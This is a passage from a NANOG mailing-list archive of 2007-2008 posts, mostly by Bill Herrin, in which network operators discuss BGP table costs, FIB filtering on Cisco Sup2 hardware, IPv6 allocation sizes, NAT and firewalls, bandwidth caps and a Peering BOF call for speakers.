msfc3 daughterboards should be attributable to the prefix count? Whatever. Pick your numbers and justify them as I have. Then lets plug your number in to the formula and see what we get. Apparently I assumed you had knowledge you did not. Please forgive me for not assuming you were ignorant. I shall not repeat my mistake. Or, you could just respond with another ad-hominem attack. It won't advance anyone's understanding of the cost of carrying prefixes in the DFZ, but it might make you feel superior. I'm certain there are networks who would (do?) use 3750s if the v4 table were the size of the v6 table. But they tend to be smaller networks, with few or no BGP customers, and not much traffic. No 'tier one' network would, and most networks their size would not. Most networks half their size would not. I don't believe that a tier 1's choice of DFZ routers is representative of the average DFZ router. Their requirements are much higher than the norm. If you'd like to argue the opposite position, I'll be very interested to see what numbers you propose for the representative router cost and the percentage attributable to handling the prefix count. For cost analysis purposes, you need only consider a true/false condition here: The device supports the required prefix count. The device does not support the required prefix count. Would that the world were so simple. In cost analysis as in software development, all complex problems reduce to a sequence of simple steps. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: request for help w/ ATT and terminology
On Jan 19, 2008 11:48 AM, Andy Davidson [EMAIL PROTECTED] wrote: There's some debate in RIPE land right now that discusses, what actually is the automatic, free, right to PI ? Every other network in the world pays the cost when someone single homes but wants their / 24 prefix on everyone else's router. If one had to pay a registry for PI, then small networks would have to think about the negative externalities of their decision to deploy using PI. Andy, There was some related work on ARIN PPML last year. The rough numbers suggested that the attributable economic cost of one IPv4 prefix in the DFZ (whether PI, PA or TE) was then in the neighborhood of $8000 USD per year. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: An Attempt at Economically Rational Pricing: Time Warner Trial
On Jan 18, 2008 4:16 PM, [EMAIL PROTECTED] wrote: Sooner or later, somebody is going to try to apply Google's approach to hardware in a network backbone. Imagine a network backbone with no Cisco or Juniper boxes in it, just lots of commodity boxes with triple-redundancy everywhere (quintuple in NFL cities). Michael, There's a missing piece here. You'd need a way to go from the 1-gige interfaces that commodity hardware can keep up with to the 10gige-plus interfaces that the backbone requires. Suppose you build 10-gige mux/demuxes for $2000 each so that you can break the backbone data rates down to 1gbps. The mux/demux would have one 10-gige port and 12 1-gige ports. Packets received on the 1-gige ports would be transmitted on the 10-gige port in the order received. Packets received on the 10-gige port would be transmitted on the 1-gige ports in a more or less round-robin fashion. Two of the 1-gige ports would always be configured as backups with the carrier held low until a piece of equipment attached to one of the active ports failed. You could then build a highly available 3 x 10gige port plus 22x1-gige port router with the following components: 3 $2000 10gige mux/demuxes 10 $3000 1U servers (packet forwarders, 5 gig-e ports each) 1 $3000 1U server (BGP route manager, 2 gig-e ports) 2 $3000 1U servers (hot spares, 5 gig-e ports each) 2 $2000 24-port gig-e switch (interlink the 13 servers with redundancy) 62 gig-e cables 18 rack units $50,000 total. But you can start to get Cisco and Juniper routers with 3 10-gige interfaces in the neighborhood of $50k and they neither take up 18 rack units nor consume as much electricity as those 13 servers. On the other hand, commodity memory is cheap. You could expand those 1-gige software-based forwarders to handle 100M routes in the FIB for maybe another $10k. Since the theoretical limit for the count of prefixes /24 and shorter is less than 34M, that could be handy. A similar expansion in Cisco or Juniper big iron is not just expensive, its hard. And too, the notion of a Linux routing cluster is undeniably hot. :) Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: request for help w/ ATT and terminology
On Jan 18, 2008 10:18 PM, Roland Dobbins [EMAIL PROTECTED] wrote: host.somewhere.net in a firewall rule in a PIX/ASA/etc. as opposed It's not only a security issue, but a performance issue (both resolver and server) and one of practicality, as well (multiple A records for a single FQDN, CNAMEs, A records without matching PTRs, et. al.). The performance problem would likely be even more apparent under DNSSEC, and the practicality issue would remain unchanged. Roland, For renumbering purposes, you could reasonably expect the firewall to perform the translations once when rebooted or reset, after which it would use the discovered IP addresses. This would only fail where the firewall was being operated by someone in a different administrative domain that the engineer who has to renumber... And those scenarios are already indicative of a security problem. Unfortunately, we're all ignoring the big white elephant in the room: spam filters. When a large flow of email suddenly starts emitting from an address that didn't previously send significant amounts of mail, a number of filters squash it for a while based solely on the changed message rate. This can be very traumatic for the engineer trying to renumber and it is 100% outside of his realm of control. And of course, you lose all of the private whitelists that you talked your way on to over the years where you no longer have a valid point of contact. Renumbering is a bad bad thing. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: BGP Filtering
On Jan 15, 2008 12:51 PM, Dave Israel [EMAIL PROTECTED] wrote: I think I understand what you want, and you don't want it. If you receive a route for, say, 204.91.0.0/16, 204.91.0.0/17, and 204.91.128.0/17, you want to drop the /17s and just care about the /16. But a change in topology does not generally result in a complete update of the BGP table. Route changes result in route adds and draws, not a flood event. So if you forgot about the /17s and just kept the /16, and the /16 was subsequently withdrawn, your router would not magically remember that it had /17s to route to as well. Dave, That's half-true. The routing table is comprised of two components: the Routing Information Base (RIB) and the Forwarding Information Base (FIB). The RIB sits in slow, cheap memory and contains routes and metrics for every route as announced by every neighbor. The FIB sits in fast, expensive memory and contains the currently best route for each destination. The FIB is built by choosing the best routes from the RIB. Packet-forwarding decisions are made by consulting the FIB. Opportunistically filtering routes from the RIB would have exactly the problem you point out: routing updates are incremental. The knowledge that the /16 has been withdrawn may not accompany the knowledge that the /17s are available. Opportunistically filtering more-specific routes from the FIB, however, could be very valuable at the edge of the DFZ. If Cisco supported such filtering, those Sup2's could have another few years of life left in them. With 512m ram in a two-transit provider scenario a Sup2 could handle upwards of 1M routes in the RIB. Unfortunately, they can only handle 244k routes in the FIB. Ben, coming back to your question: I don't think there is a way to make the software filter the routes inserted into the FIB. I don't see a reason why it couldn't be programmed to do that. But the fine folks at Cisco didn't see fit to write that software. Its a pity 'cause it would be very useful. The next best thing you can do is statically filter /8's from distant regions. You're posting to NANOG, so I assume that the RIPE and APNIC regions are distant for you. Go to IANA's web site and download the list of /8's assigned exclusively to each of those registries. For each, create a set of /8 static routes towards each of your transit providers with a route target address picked from an address block that will disappear or become distant if your link to that transit provider is severed. Then use prefix lists to filter more specific routes within those /8's. That should give you a result that's almost as good as if you carried all the routes while cutting a bunch of routes from your table. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: Asymmetrical routing opinions/debate
On Jan 14, 2008 10:30 AM, Drew Weaver [EMAIL PROTECTED] wrote: I haven't noticed too many instances of this causing huge performance problems, but I have noticed some, has anyone noticed any instances in the real world where this has actually caused performance gains over symmetrical routing? Drew, There are at least two common scenarios where intentional asymmetric routing (aka traffic engineering) benefits the sender: Scenario 1: InterNAP-like product where the outbound packet takes a path optimized for conditions other than shortest AS path. Conditions might include minimize packet loss or maximize throughput as determined by ongoing communication with testpoints in that direction. Scenario 2: Cost minimization for bulk transfer. If you operate a large mailing list or a usenet server, you might arrange for traffic from the server to prefer peers first and then your lowest-cost transit provider. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: FW: ISPs slowing P2P traffic...
On Jan 14, 2008 5:25 PM, Joe Greco [EMAIL PROTECTED] wrote: So users who rarely use their connection are more profitable to the ISP. The fat man isn't a welcome sight to the owner of the AYCE buffet. Joe, The fat man is quite welcome at the buffet, especially if he brings friends and tips well. That's the buffet's target market: folks who aren't satisfied with a smaller portion. The unwelcome guy is the smelly slob who spills half his food, complains, spends most of 4 hours occupying the table yelling into a cell phone (with food still in his mouth and in a foreign language to boot), burps, farts, leaves no tip and generally makes the restaurant an unpleasant place for anyone else to be. What exactly does this imply, though, from a networking point of view? That the unpleasant nuisance who degrades everyone else's service and bothers the staff gets encouraged to leave. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
NANOG 42 Peering BOF XVII and APRICOT 2008 Peering Forum
Hi all - In about a month (starting Feb 17 specifically) there will be two back-to-back events specifically for network engineers and peering coordinators; at NANOG 42, Feb 19, we will have the 17th Peering BOF (http://www.nanog.org/mtg-0802/agenda.html), and the following week, at APRICOT 2008, Feb 25-26 there will be an AP Peering Forum (http://www.apricot2008.net/P09.html#t1) held in Taipei, Taiwan. I need volunteer speakers and topics for both of these, and if you are a network operations person, I bet you might have a story to share with the group ! I'm looking for stories of interest to the peering community, such as: What processes did you use to transition an upgrade to your network? What worked well and what did not? What did you wish you knew when you built into and throughout different regions or countries? How did you select these locations (transport, transit, peering costs? attractive market? customers?) What was unexpected, or what lessons learned would you share with folks who would walk in your footprints? (technical, business, ops, legal, etc.) How did you decide which countries to build into, and what were the hidden costs and snafus? Basically, anything you would like to hear or would like to have heard would be appropriate. I have 45 minutes left to fill in the NANOG Peering BOF and a lot of time left for the APRICOT Peering Forum. If you can share your experiences on these or other topics at either or both of these forums, please send me a note ASAP. Also, we will once again have the Peering Personals at the Peering BOF and at the APRICOT Peering Forum, providing a chance for peering coordinators to introduce themselves to the group, describe their network and the types of networks they would like to peer with. If you would like to stand up and introduce yourself to the group, please fill out and send me the Peering Personals Form below. Thanks - William B. Norton for the Fabulous Internet Traveling Circus PS - Here is the URL to my working copy of the NANOG 42 Peering BOF Agenda - send me an email with additions, corrections, comments, etc. If you would like to edit the agenda that can be arranged as well: http://docs.google.com/Doc?docid=dddj3pds_41f5cwctnghl=en Peering Personals Form - Peering Coordinator 1) Name: _ 2) email: _ Company: 3) AS#: __ 4) Peering Locations Now: __ 5) Peering Locations (Planned or future): _ 6) Transit traffic volume: ___ Mbps or Gbps 7) Traffic mostly outbound or inbound? __ 8) What are you looking for in a peer? __ (I'll ask this when you stand up to introduce yourself) 9) Why should folks want to peer with you? _ (I'll ask this also when you stand up) This information will appear on the screen behind you as you introduce yourself to the Peering BOF community. That way they can jot down whatever info they need and can put a face to a company, and hopefully have a discussion about peering at the break. We have found this to be a valuable way to facilitate the interaction between people who may not have an easier way to meet each other while at NANOG or APRICOT. I will allocate spots for 5 or so peering personals. /Peering Personal Form -- -- // // William B. Norton wbn at equinix.com // Co-Founder and Chief Technical Liaison, Equinix // Skype, Y!IM: williambnorton AIM wbnorton
Re: ISPs slowing P2P traffic...
On Jan 9, 2008 3:04 PM, Deepak Jain [EMAIL PROTECTED] wrote: However, my question is simply.. for ISPs promising broadband service. Isn't it simpler to just announce a bandwidth quota/cap that your good users won't hit and your bad ones will? Deepak, No, it isn't. The bandwidth cap generally ends up being set at some multiple of the cost to service the account. Someone running at only half the cap is already a bad user. He's just not bad enough that you're willing to raise a ruckus about the way he's using his unlimited account. Let me put it to you another way: its the old 80-20 rule. You can usually select a set of users responsible for 20% of your revenue which account for 80% of your cost. If you could somehow shed only that 20% of your customer base without fouling the cost factors you'd have a slightly smaller but much healthier business. The purpose of the bandwidth cap isn't to keep usage within a reasonable cost or convince folks to upgrade their service... Its purpose is to induce the most costly users to close their account with you and go spend your competitors' money instead. 'Course, sometimes the competitor figures out a way to service those customers for less money and the departing folks each take their 20 friends with them. It's a double-edged sword which is why it rarely targets more than the hogs of the worst 1%. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: Assigning IPv6 /48's to CPE's?
On Jan 3, 2008 3:52 AM, Rick Astley [EMAIL PROTECTED] wrote: * /32 for ISPs unless they can justify more * /48 for subscribers unless they can justify more Take someone like Comcast with ~12 million subscribers. It would take an IPv6 /24 to get 16.7 million /48's (2^24). With a net efficiency of 10% they are going to need to be allocated 120 million /48's. It would take a /21 to give them 2^(48-21) = ~134 million /48's. And indeed Rick, British Telecom, France Telecom and Deutsche Telekom did exactly these calculations and used them to justify the /19's and /20s that they were allocated from RIPE. Fortunately, there are only a handful of Comcasts. The vast majority of ISPs have customer counts well shy of the million mark. If you have more than 65,000 customers today, you should have little trouble justifying an initial IPv6 allocation larger than /32. You simply state in your application that you intended to assign a /48 to each. Any such reallocation up to a /48 is deemed to be automatically justified at the registry level. So in short, a /48 to subscribers seems like complete overkill, and a /32 to ISP's seems completely inadequate (80 vs 16 bits). This is why some folks recommend a /56 for small subscribers instead of a /48, reducing the waste by two and a half orders of magnitude. In a world where only the largest subscribers choose to deploy more than 4 IPv4 subnets (including their NATed subnets) why should the initial IPv6 assignment exceed 256 subnets? It seems to me while being extra super sure we meet goal 1 of making sure NAT is gone for ever (and ever) we fail goal 2 of not allocating a bunch of prefixes to ISP's that are too small. In my ever so humble opinion, IPv6 will not reach significant penetration at the customer level until NAT has been thoroughly implemented. Corporate information security officers will insist. Here's the thing: a stateful non-NAT firewall is automatically less secure than a stateful translating firewall. Why? Because a mistake configuring a NAT firewall breaks the network causing everything to stop working while a mistake with a firewall that does no translation causes data to flow unfiltered. Humans being humans, mistakes will be made. The first failure mode is highly preferable. This is one of the trifecta that most seriously obstruct the deployment and acceptance of IPv6. The others are: client stack prefers IPv6 to IPv4 when available (so wonderful for Internet stability during the deployment years) and incompatibility meaning that instead of simply requiring a software upgrade after which the IPv6 addresses corresponding to your configured IPv4 addresses just work, IPv6 requires an entirely new set of allocations and an entirely new configuration management infrastructure. Double the work. Somewhat less than double the fun. But that's just my opinion. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: Assigning IPv6 /48's to CPE's?
On Jan 3, 2008 11:25 AM, Tim Franklin [EMAIL PROTECTED] wrote: Only assuming the nature of your mistake is 'turn it off'. I can fat-finger a 'port-forward *all* ports to important internal server', rather than just '80/TCP' pretty much exactly as easily as I can fat-finger 'permit *all* external to important internal server' rather than just '80/TCP'. Tim, While that's true of firewalled servers that are intended to provide services to the Internet at large, the vast majority of equipment behind a typical NAT firewall provides no services whatsoever to the Internet and do not each map to their own global IP address. They are client PCs and a scattering of LAN servers. You can fat-finger allow all ports inbound in a stateful firewall far easier than you fat finger translate a bank of global IP addresses I don't actually have on a one-to-one basis to this large list of local-scope IP addresses -and- allow all ports inbound in a NAT firewall. Actually, the latter is pretty hard to configure at all, let alone fat-finger by mistake. I'll grant the 'everything is disconnected' case is easier to spot, though - especially if you don't have proper change management to test that the change you made is the change you think you made. Do you mean to tell me there's actually such a thing as a network engineer who creates and uses a test plan every single time he makes a change to every firewall he deals with? I thought such beings were a myth, like unicorns and space aliens! Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: Assigning IPv6 /48's to CPE's?
On Dec 31, 2007 3:25 AM, Rick Astley [EMAIL PROTECTED] wrote: I can understand corporations getting more than a /64 for their needs, but certainly this does not mean residential ISP subscribers, right? Rick, The standing recommendations are: * /32 for ISPs unless they can justify more * /48 for subscribers unless they can justify more * /64 when you know for certain that one and only one subnet will ever be required * /128 when you know for certain you're dealing with a single device * Sparse allocation so whichever size you choose you can usually increase it by simply changing the prefix length. Some folks also suggest: * /56 for small customers (residential DSL and similar always on services) But the real answers to your question are: 1. Be flexible. A /64 is four billion times less valuable than a single IPv4 address. If the customer tells you he wants a /56 or even a /48, just give it to him. At the /48 level, the customer is vastly more valuable than the addresses. 2. The world won't end if you assign /64's to traditional dynamic IP address residential customers and replace them with a /56 or /48 on request. 3. The world won't end if you assign one of your 16 million /56's to each customer up front. 4. No one has enough operational experience with IPv6 to know what the right answer will turn out to be here, so do what makes you happy and plan to adjust it later. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: San Jose UUT?
On Nov 22, 2007 1:30 PM, Mark Kent [EMAIL PROTECTED] wrote: http://www2.csjfinance.org/UUT.asp Mark, I suggest you contact Dat Vu (the individual listed on that page) and ask: What kinds of common Internet-related commerce and activity are subject to the UUT? Please provide me with your list. Thanks. I'd be interested to hear his response. You can find the San Jose Municipal Code here: http://www.municode.com/Resources/gateway.asp?pid=14367sid=5 The relevant section is 4.68. The word Internet does not appear. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: unwise filtering policy from cox.net
On Nov 21, 2007 1:51 AM, Paul Ferguson [EMAIL PROTECTED] wrote: An unfortunate limitation of the SMTP protocol is it initially only looks at the right-hand side of an address when connecting to a server to send e-mail, and not the left-hand side. This means Sure, it's an unfortunate limitation, but I hardly think it's an issue to hand-wave about and say oh, well. Suggestions? Standardize on [EMAIL PROTECTED] If an MX exists for abuse.the-domain-you're-looking-for then send to that instead of to [EMAIL PROTECTED] Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: Network Solutions domain transfer lock policy?
On Nov 19, 2007 5:59 PM, Deepak Jain [EMAIL PROTECTED] wrote: I just became aware of an SOP at Network solutions. On a contact change to a domain, they automatically transfer lock the domain for 60 days. Is anyone aware of this as a kosher activity and is anyone aware of any other registrars doing it? Keep in mind, these are legitimate contact changes and not suspicious in anyway. DJ, This saved my keyster when someone hacked one of my domains earlier this year (my fault; sloppy password). Because Netsol still held the domain, I was able to get things resolved and get the domain back under my control in about 36 hours. I can only imagine the nightmare if the hacker had been able to transfer it out to another registry. It'd be nice if Netsol could to better than 36 hours to restore a hacked domain but I'd like it a whole lot less if the hacker could transfer the domain out while waiting for me to notice and them to investigate. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: US Provisioned GSM cards abroad... SSL Issues?
On Wed, Nov 14, 2007 at 06:18:17PM +, Steven M. Bellovin wrote: Mike Lyon [EMAIL PROTECTED] wrote: Curious. Has anyone on the list here ever encountered issues while traveling in EMEA accessing SSL websites back in the states while using an ATT/Cingular GSM data card? We are seeing some issues with this and were curious to see if anyone else is seeing the same issue. Do you have a tcptraceroute? Might some helpful, transparent proxy be getting in your way? (You don't say anything about what your issues are.) Such broken transparent proxies seem to be very common on GSM carrier's data networks. I've even recently seen problems that look like a re-direct loop without ever really hitting the server, with a pre-paid SIM from Yoigo (a Spanish carrier). Mind you, this was a complex SSL setup involving client-side certificates, and normal SSL sites. Solution: set up a good squid proxy somewhere, perhaps on an uncommon port, to bypass the evil proxy. Next problem: empty bank account when the roaming charges come home ;) Cheers, -w
Re: OT: Visio or Autocad
On 10/10/07, Stephen Fulton [EMAIL PROTECTED] wrote: Is anyone using Autocad for network design? What are your thoughts? Stephen, I still use Corel Draw 3 for my network diagrams, so its not unheard of to use something other than Visio. The main benefit to Visio comes when -someone else- needs to make an update to your network diagram. They probably have access to a copy of Visio and enough knowledge about using it to make a minor tweak to your diagram. The same can't be said of Autocad. Or Corel Draw. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: mlc files formal complaint against me
Along the lines of this discussion thread, we should probably solicit here for agenda items to bring up at the community meeting. The community meeting is after all one place (like this list) for people to bring up and discuss things to fix/change/reinforce wrt all things NANOG. If we can collect name/issue tuples here we may be able to bring data to the meeting that would help the discussions surrounding the issue(s) at hand. Does anyone want to add issues to discuss at the community meeting agenda (which right now consists of the usual reports from the SC/PC/MLC/Merit)? I think the community meeting is maybe a half hour with these reports so there is time for community discussion. Bill
Re: The NANOG Irrelevance? [Was: Re: mlc files formal complaint against me ]
On 10/8/07, Paul Ferguson [EMAIL PROTECTED] wrote: snip For instance: I made an offer a few weeks back to give a presentation on what ISPs could to do to help in fighting cyber crime. I was told that I need to follow this procedure and submit a proposal, etc., which is fine - I suppose. But it seems I have an easier time talking at other venues as invited talks where I don't have to jump through hoops to justify the content to a group of people who should already know me, and the quality of my content/context. The current charter mandates that all PC members review all presentations submitted for NANOG. No flexibility here. But... There is a charter amendment on the upcoming election to strike that text so the PC will have the ability to self manage their process of recruiting and selecting talks and speakers. One can envision for example a variety of program committee solutions including assigning a 90 minute section of the agenda to a group of 3 pc members with expertise in routing, who recruit and coordinate the best speakers they can find in this area on topics of significance to the NANOG community. Their participation in the pc could then be valued based on the quality of that section of the agenda. Etc. There are many ways to self organize to create an agenda besides everyone submits a form and everyone reviews everything. Thanks for bringing it up Paul - I believe this will get better when the charter amendment is passed and the new PC builds the next NANOG agenda. Bill
Re: The NANOG Irrelevance? [Was: Re: mlc files formal complaint against me ]
On 10/9/07, Stephen Wilcox [EMAIL PROTECTED] wrote: snip There is a charter amendment on the upcoming election to strike that text so the PC will have the ability to self manage their process of recruiting and selecting talks and speakers. One can envision for example a variety of program committee solutions including assigning a 90 minute section of the agenda to a group of 3 pc members with expertise in routing, who recruit and coordinate the best speakers they can find in this area on topics of significance to the NANOG community. Their participation in the pc could then be valued based on the quality of that section of the agenda. Etc. There are many ways to self organize to create an agenda besides everyone submits a form and everyone reviews everything. i'm not sure that sounds like improvement. why cant the charter just allow them to decide a presentation is worth having without going through all the hoops that Paul mentions if its appropriate? I want to make one thing clear: I brought up *one* way the PC process could remove the hurdles, not *the* way. The key point of the charter amendment is, let the PC do their job. It is up to the selected PC to determine a process for creating a good NANOG agenda. Specifying the process in the charter is too detailed. I think most people agree with that. To your point about the process being cumbersome I think the tough balance is between 1) consistency of process (everyone gets the same treatment, there are no fast tracks for friends and family) and 2) lowering/removing barriers and actively recruiting the really good speakers who may have little or no patience for the formal process. Some would say Submit a talk, it gets accepted/rejected is not overly onerous. I think there is more at stake than that. Some have to get approval for speaking, including reviews of what gets turned in, and everyone internally knows you have a talk turned in for NANOG so when it gets rejected you lose face a bit. Compare that to someone coming up to you and saying I like the talk you gave here, and I'm trying to assemble a set of speakers for a 90 minute slot. Your talk, tuned down to 20 minute would be perfect. Would you speak in our 90 minute section at NANOG? Here we see instant acceptance of talk, little consistency across potential speakers, but with accountability maybe this flexible model could work. I don't know how the future PCs will decide to divy up the work. I look forward to seeing if and how the agenda changes though using a different method than the current process of all reviewers reviewing all talks. Bill
Re: 2 meetings / budgets [Re: mlc files formal complaint against me]
On 10/9/07, Sean Figgins [EMAIL PROTECTED] wrote: Joe Abley wrote: No, there's a fixed overhead from having N x Merit FTEs doing NANOG stuff year-round, housing NANOG servers, being covered by UMich insurance, accounting, blah, blah. I'm not an accountant, as you can probably tell, but I think that's the right high-level answer. Just out of curiosity, what is the breakdown of those numbers? I mean, how many FTE is NANOG using from Merit, and how many servers in Merit managing for NANOG? Are any of the servers shared with other Merit projects, or are they self contained? I don't really care to know the financial information, as that is between the SC and Merit. Check out Betty's slides at: http://www.nanog.org/mtg-0702/community.html The big $$$ is to the hotel - $105K for 1 mtg. A close second biggest cost looks like the staff cost - shown as Salary and I would add in the GA. This is for 2-3 FTEs spread across a bunch of folks who collectively handle the load of NANOG activities. It looks like Merit allocates 1/3 of this expense to each of the 3 meetings. If there were 2 meetings, the staffing costs would be allocated across 2 points. The bottom line, I think you need a few FTEs no matter how you manage NANOG. Having fewer meetings decreases the revenue while keeping the 2-3 FTEs constant. Probably leads to a greater net loss. My conclusion is that more revenue is needed, more sponsorships, more beer-n-gear revenue, more NANOG commemorative mugs and boxer shorts. And find a way to knock down the hotel expenses somehow. BTW - I didn't see the ARIN $50K contributions in the budget on this page. Maybe Cisco should kick in $50K in kind and we don't need to have this conversation ;-)
Re: IPv6 routes, was: How Not to Multihome
On 10/8/07, [EMAIL PROTECTED] [EMAIL PROTECTED] wrote: Wouldn't resources still be an issue. Since the address space is so much larger wouldn't the 235k v6 routes take up more than 4 times the router memory? Keegan, According to Cisco's product feature pages IPv6 routes take up twice as much space in the TCAM as IPv4 routes. Make of that what you will. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: Creating demand for IPv6
On 10/2/07, Stephen Sprunk [EMAIL PROTECTED] wrote: If you feel ARIN has not solved the PIv6 issue sufficiently well, please take that argument to PPML. As of today, if you qualify for PIv4 space, you qualify for PIv6 space automatically -- and you only have to pay the fees for one of them. Stephen, At this point its not an ARIN problem. The requirement from the operators (like us) is that ARIN keep the total number of PI prefixes to a minimum. So long as that requirement stands, ARIN is doing the best it can. Having recently dealt with the 244k IPv4 TCAM limit on my 6500 sup 2's, I'll stipulate that the requirement has merit. But lets not pass buck; its our requirement, not ARIN's. Also, to be clear: if you meet the requirements for IPv4 addresses today then you can get IPv6 addresses today. This is not parity with IPv4: a large number of IPv4 addresses are presently assigned to organizations who met the requirements of their day but do not meet today's requirements. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: Question on Loosely Synchronized Router Clocks
On 9/18/07, Xin Liu [EMAIL PROTECTED] wrote: Ideally, yes, a protocol should not rely on clock synchronization at all. However, to ensure freshness of messages, we don't have many choices, and clock synchronization seems to be the least painful one. Xin, Depending on the character of the protocol there are at least two other options for assuring freshness: 1. Sequence numbers. A higher sequence number is fresher and lowered numbered messages should be discarded if received. 2. Lifetime decrement counter (aka TTL). Each router that sees the message decrements the counter. When the counter hits zero the message is stale and gets discarded. Like Robert says, its not even fair to assume that a router has a time of day clock, let alone one that is properly syncronized with everybody else. Even where they do, there's a bootstrapping problem if you put Time of Day in the critical path: the routing has to work before NTP can sync. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: Using Mobile Phone email addys for monitoring
On 9/6/07, Rick Kunkel [EMAIL PROTECTED] wrote: We've traditionally used mobile phone email addresses for system notifications, but over the past 6-12 months, it seems to have become increasingly sketchy. Rick, I've had good results with vzw.blackberry.net (Verizon Wireless + Blackberry) in the Washington DC area. A secondary monitoring server outside the network will send a message if the network problem is serious enough to break the path from within the network to vzw.blackberry.net. I also have a network monitoring system that's smart enough to track dependencies so it doesn't page me about the http service being down if it has already paged me because it can't ping the router that the host sits behind. As a result, I very rarely get a notification flood. It also keeps notifying until I ack it so if the first message doesn't go through, the second does. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: An informal survey... round II
On 8/30/07, John Curran [EMAIL PROTECTED] wrote: I.E. If at some time unknown around 2010, ISP's stop receiving new allocations from their RIR, and instead use of many smaller recycled IPv4 address blocks, we could be looking at a 10x to 20x increase in routes per month for the same customer growth. John, Why should we announce tiny recycled blocks? If there is a /16 in the swamp in which half the space is free but its all /24's, why wouldn't wouldn't we allocate all the free /24's to a single entity and instruct the entity to announce it as a holey /16? The existing /24 holders will override (punch holes in) the /16 for their /24's. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: 2M today, 10M with no change in technology? An informal survey.
On 8/27/07, Deepak Jain [EMAIL PROTECTED] wrote: an MSFC2 can hold 256,000 entries in its FIB of which 12,000 are reserved for Multicast. I do not know if the 12,000 can be set to serve the general purpose. The MSFC2 therefore can server 244,000 routes without uRPF turned on. I'm hit square on with this because I use Sup2's with the msfc2/pfc2 for the link to both of my transit providers. I took this up with the Cisco TAC overnight to find out where I stand. Here's what I found: 1. The msfc2/pfc2 does in fact have a limit that starts at 244,000 routes. 2. Once the limit is reached, excess routes will fail over to software switching. TAC did not specify how routes are designated as excess. 3. The Sup 720 (except for the 3bxl) has a similar limit, however the mls cef maximum-routes command can be used to make upwards of 260,000 TCAM entries available to IPv4 unicast routing. The Sup 2 does not support this command. 4. The suggested upgrade path is the Supervisor 720-3BXL whose TCAM can support up to 1M IPv4 FIB entries or 500k IPv6 FIB entries. With a 7600 (instead of a 6500) the RSP 720-3CXL can do the same and also has a faster processor, more memory, etc. Now, my request for help: I have a leaf node on the DFZ handled by a pair of Sup2's (pfc2/msfc2), two transit providers and several peers. My focus is very heavily domestic, and I'd like to delay my upgrade. I'd like to buy some time by aggregating the incoming APNIC region prefixes (http://www.iana.org/assignments/ipv4-address-space) into the following FIB entries: 58.0.0.0/7 60.0.0.0/7 116.0.0.0/6 120.0.0.0/6 124.0.0.0/7 126.0.0.0/8 202.0.0.0/7 210.0.0.0/7 218.0.0.0/7 220.0.0.0/7 222.0.0.0/8 Can anyone suggest how to program that into the router or refer me to the URL of the correct documentation at Cisco's site? Thanks in advance, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: Seeking Comcast Contact: need to troubleshoot packet loss and/or asymmetric routing issue between Comcast Onvoy
